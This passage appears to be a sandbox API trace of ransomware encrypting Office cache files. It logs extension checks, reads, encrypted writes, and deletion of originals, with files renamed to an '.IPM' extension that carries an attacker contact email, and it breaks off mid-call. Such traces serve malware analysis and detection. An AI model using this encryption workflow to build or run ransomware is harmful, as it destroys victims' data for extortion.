1 [0086.986] lstrlenW (lpString=".docx") returned 5 [0086.986] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0086.986] lstrlenW (lpString=".pdf") returned 4 [0086.986] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0086.986] lstrlenW (lpString=".xls") returned 4 [0086.986] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0086.986] lstrlenW (lpString=".xlsx") returned 5 [0086.986] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0086.986] lstrlenW (lpString=".ppt") returned 4 [0086.986] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0086.986] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0086.986] lstrlenW (lpString=".zip") returned 4 [0086.986] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0086.986] lstrlenW (lpString=".rar") returned 4 [0086.986] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0086.987] lstrlenW (lpString=".bz2") returned 4 [0086.987] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0086.987] lstrlenW (lpString=".7z") returned 3 [0086.987] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0086.987] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0086.987] lstrlenW (lpString=".dbf") returned 4 [0086.987] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0086.987] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0086.987] lstrlenW (lpString=".1cd") returned 4 [0086.987] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0086.987] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0086.987] lstrlenW (lpString=".jpg") returned 4 [0086.987] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0086.987] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0086.987] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0086.987] lstrlenW (lpString=".doc") returned 4 [0086.987] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0086.987] lstrlenW (lpString=".docx") returned 5 [0086.987] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0086.987] lstrlenW (lpString=".pdf") returned 4 [0086.987] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0086.987] lstrlenW (lpString=".xls") returned 4 [0086.987] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0086.987] lstrlenW (lpString=".xlsx") returned 5 [0086.987] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0086.988] lstrlenW (lpString=".ppt") returned 4 [0086.988] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0086.988] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0086.988] lstrlenW (lpString=".zip") returned 4 [0086.988] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0086.988] lstrlenW (lpString=".rar") returned 4 [0086.988] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0086.988] lstrlenW (lpString=".bz2") returned 4 [0086.988] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0086.988] lstrlenW (lpString=".7z") returned 3 [0086.988] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0086.988] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0086.988] lstrlenW (lpString=".dbf") returned 4 [0086.988] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0086.988] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0086.988] lstrlenW (lpString=".1cd") returned 4 [0086.988] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0086.988] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0086.988] lstrlenW (lpString=".jpg") returned 4 [0086.988] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0086.988] lstrcmpiW (lpString1=".msi", lpString2=".IPM") returned 1 [0086.988] lstrlenW (lpString="Proof.msi") returned 9 [0086.989] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0086.990] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x33eff1c | out: lpFileSize=0x33eff1c*=885760) returned 1 [0086.990] CloseHandle (hObject=0x1dc) returned 1 [0086.990] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi")) returned 0x2020 [0086.990] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0086.990] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0086.990] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0086.990] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0086.990] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0086.991] GetLastError () returned 0x0 [0086.991] ReadFile (in: hFile=0x1dc, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x33efed4*=0xd8400, lpOverlapped=0x0) returned 1 [0087.790] WriteFile (in: hFile=0x1fc, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xd8410, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x33efc9c*=0xd8410, lpOverlapped=0x0) returned 1 [0088.269] ReadFile (in: hFile=0x1dc, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x33efed4*=0x0, lpOverlapped=0x0) returned 1 [0088.269] WriteFile (in: hFile=0x1fc, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x33efc9c*=0xe6, lpOverlapped=0x0) returned 1 [0088.269] SetEndOfFile (hFile=0x1fc) returned 1 [0088.270] CloseHandle (hObject=0x1fc) returned 1 [0088.544] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0088.544] SetEndOfFile (hFile=0x1dc) returned 1 [0089.849] CloseHandle (hObject=0x1dc) returned 1 [0089.849] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0089.849] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi")) returned 1 [0089.850] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0089.850] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0089.850] lstrlenW (lpString=".doc") returned 4 [0089.850] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0089.850] lstrlenW (lpString=".docx") returned 5 [0089.850] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0089.850] lstrlenW (lpString=".pdf") returned 4 [0089.850] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0089.850] lstrlenW (lpString=".xls") returned 4 [0089.850] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0089.850] lstrlenW (lpString=".xlsx") returned 5 [0089.850] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0089.850] lstrlenW (lpString=".ppt") returned 4 [0089.850] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0089.850] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0089.851] lstrlenW (lpString=".zip") returned 4 [0089.851] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0089.851] lstrlenW (lpString=".rar") returned 4 [0089.851] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0089.851] lstrlenW (lpString=".bz2") returned 4 [0089.851] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0089.851] lstrlenW (lpString=".7z") returned 3 [0089.851] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0089.851] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0089.851] lstrlenW (lpString=".dbf") returned 4 [0089.851] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0089.851] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0089.851] lstrlenW (lpString=".1cd") returned 4 [0089.851] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0089.851] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0089.851] lstrlenW (lpString=".jpg") returned 4 [0089.851] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0089.851] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0089.851] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0089.851] lstrlenW (lpString=".doc") returned 4 [0089.851] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0089.851] lstrlenW (lpString=".docx") returned 5 [0089.852] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0089.852] lstrlenW (lpString=".pdf") returned 4 [0089.852] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0089.852] lstrlenW (lpString=".xls") returned 4 [0089.852] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0089.852] lstrlenW (lpString=".xlsx") returned 5 [0089.852] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0089.852] lstrlenW (lpString=".ppt") returned 4 [0089.852] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0089.852] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0089.852] lstrlenW (lpString=".zip") returned 4 [0089.852] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0089.852] lstrlenW (lpString=".rar") returned 4 [0089.852] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0089.852] lstrlenW (lpString=".bz2") returned 4 [0089.852] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0089.852] lstrlenW (lpString=".7z") returned 3 [0089.852] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0089.852] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0089.852] lstrlenW (lpString=".dbf") returned 4 [0089.852] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0089.852] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0089.852] lstrlenW (lpString=".1cd") returned 4 [0089.852] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0089.852] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0089.853] lstrlenW (lpString=".jpg") returned 4 [0089.853] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0089.853] lstrcmpiW (lpString1=".msi", lpString2=".IPM") returned 1 [0089.853] lstrlenW (lpString="Office32MUI.msi") returned 15 [0089.853] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0089.854] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x33eff1c | out: lpFileSize=0x33eff1c*=873984) returned 1 [0089.854] CloseHandle (hObject=0x1dc) returned 1 [0089.854] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi")) returned 0x2020 [0089.854] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0089.854] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0089.854] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0089.854] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0089.854] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0089.855] GetLastError () returned 0x0 [0089.855] ReadFile (in: hFile=0x1dc, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x33efed4*=0xd5600, lpOverlapped=0x0) returned 1 [0090.424] WriteFile (in: hFile=0x204, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xd5610, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x33efc9c*=0xd5610, lpOverlapped=0x0) returned 1 [0090.877] ReadFile (in: hFile=0x1dc, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x33efed4*=0x0, lpOverlapped=0x0) returned 1 [0090.877] WriteFile (in: hFile=0x204, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x33efc9c*=0xf2, lpOverlapped=0x0) returned 1 [0090.877] SetEndOfFile (hFile=0x204) returned 1 [0090.877] CloseHandle (hObject=0x204) returned 1 [0090.891] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0090.891] SetEndOfFile (hFile=0x1dc) returned 1 [0090.904] CloseHandle (hObject=0x1dc) returned 1 [0090.904] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0090.904] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi")) returned 1 [0090.905] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0090.905] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0090.905] lstrlenW (lpString=".doc") returned 4 [0090.905] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0090.905] lstrlenW (lpString=".docx") returned 5 [0090.905] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0090.905] lstrlenW (lpString=".pdf") returned 4 [0090.905] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0090.905] lstrlenW (lpString=".xls") returned 4 [0090.905] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0090.905] lstrlenW (lpString=".xlsx") returned 5 [0090.905] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0090.905] lstrlenW (lpString=".ppt") returned 4 [0090.905] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0090.905] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0090.905] lstrlenW (lpString=".zip") returned 4 [0090.905] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0090.906] lstrlenW (lpString=".rar") returned 4 [0090.906] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0090.906] lstrlenW (lpString=".bz2") returned 4 [0090.906] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0090.906] lstrlenW (lpString=".7z") returned 3 [0090.906] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0090.906] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0090.906] lstrlenW (lpString=".dbf") returned 4 [0090.906] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0090.906] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0090.906] lstrlenW (lpString=".1cd") returned 4 [0090.906] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0090.906] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0090.906] lstrlenW (lpString=".jpg") returned 4 [0090.906] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0090.906] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0090.906] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0090.906] lstrlenW (lpString=".doc") returned 4 [0090.906] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0090.907] lstrlenW (lpString=".docx") returned 5 [0090.907] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0090.907] lstrlenW (lpString=".pdf") returned 4 [0090.907] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0090.907] lstrlenW (lpString=".xls") returned 4 [0090.907] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0090.907] lstrlenW (lpString=".xlsx") returned 5 [0090.907] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0090.907] lstrlenW (lpString=".ppt") returned 4 [0090.907] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0090.907] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0090.907] lstrlenW (lpString=".zip") returned 4 [0090.907] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0090.907] lstrlenW (lpString=".rar") returned 4 [0090.907] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0090.907] lstrlenW (lpString=".bz2") returned 4 [0090.907] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0090.907] lstrlenW (lpString=".7z") returned 3 [0090.908] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0090.908] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0090.908] lstrlenW (lpString=".dbf") returned 4 [0090.908] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0090.908] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0090.908] lstrlenW (lpString=".1cd") returned 4 [0090.908] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0090.908] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0090.908] lstrlenW (lpString=".jpg") returned 4 [0090.908] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0090.908] lstrcmpiW (lpString1=".cab", lpString2=".IPM") returned -1 [0090.909] lstrlenW (lpString="OWOW32LR.cab") returned 12 [0090.909] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0090.909] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x33eff1c | out: lpFileSize=0x33eff1c*=2928955) returned 1 [0090.909] CloseHandle (hObject=0x1dc) returned 1 [0090.909] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab")) returned 0x2020 [0090.910] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0090.910] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 1 [0090.911] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0090.911] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efc6c | out: lpNewFilePointer=0x0) returned 1 [0090.911] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efc2c | out: lpNewFilePointer=0x0) returned 1 [0090.911] ReadFile (in: hFile=0x1dc, lpBuffer=0x3da0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33efc38, lpOverlapped=0x0 | out: lpBuffer=0x3da0058*, lpNumberOfBytesRead=0x33efc38*=0x40000, lpOverlapped=0x0) returned 1 [0091.122] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x33efc2c | out: lpNewFilePointer=0x0) returned 1 [0091.126] ReadFile (in: hFile=0x1dc, lpBuffer=0x3de0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33efc38, lpOverlapped=0x0 | out: lpBuffer=0x3de0058*, lpNumberOfBytesRead=0x33efc38*=0x40000, lpOverlapped=0x0) returned 1 [0091.164] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x33efc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0091.164] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x28b13b, lpNewFilePointer=0x0, dwMoveMethod=0x33efc2c | out: lpNewFilePointer=0x0) returned 1 [0091.164] ReadFile (in: hFile=0x1dc, lpBuffer=0x3e20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33efc38, lpOverlapped=0x0 | out: lpBuffer=0x3e20058*, lpNumberOfBytesRead=0x33efc38*=0x40000, lpOverlapped=0x0) returned 1 [0091.629] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0091.629] WriteFile (in: hFile=0x1dc, 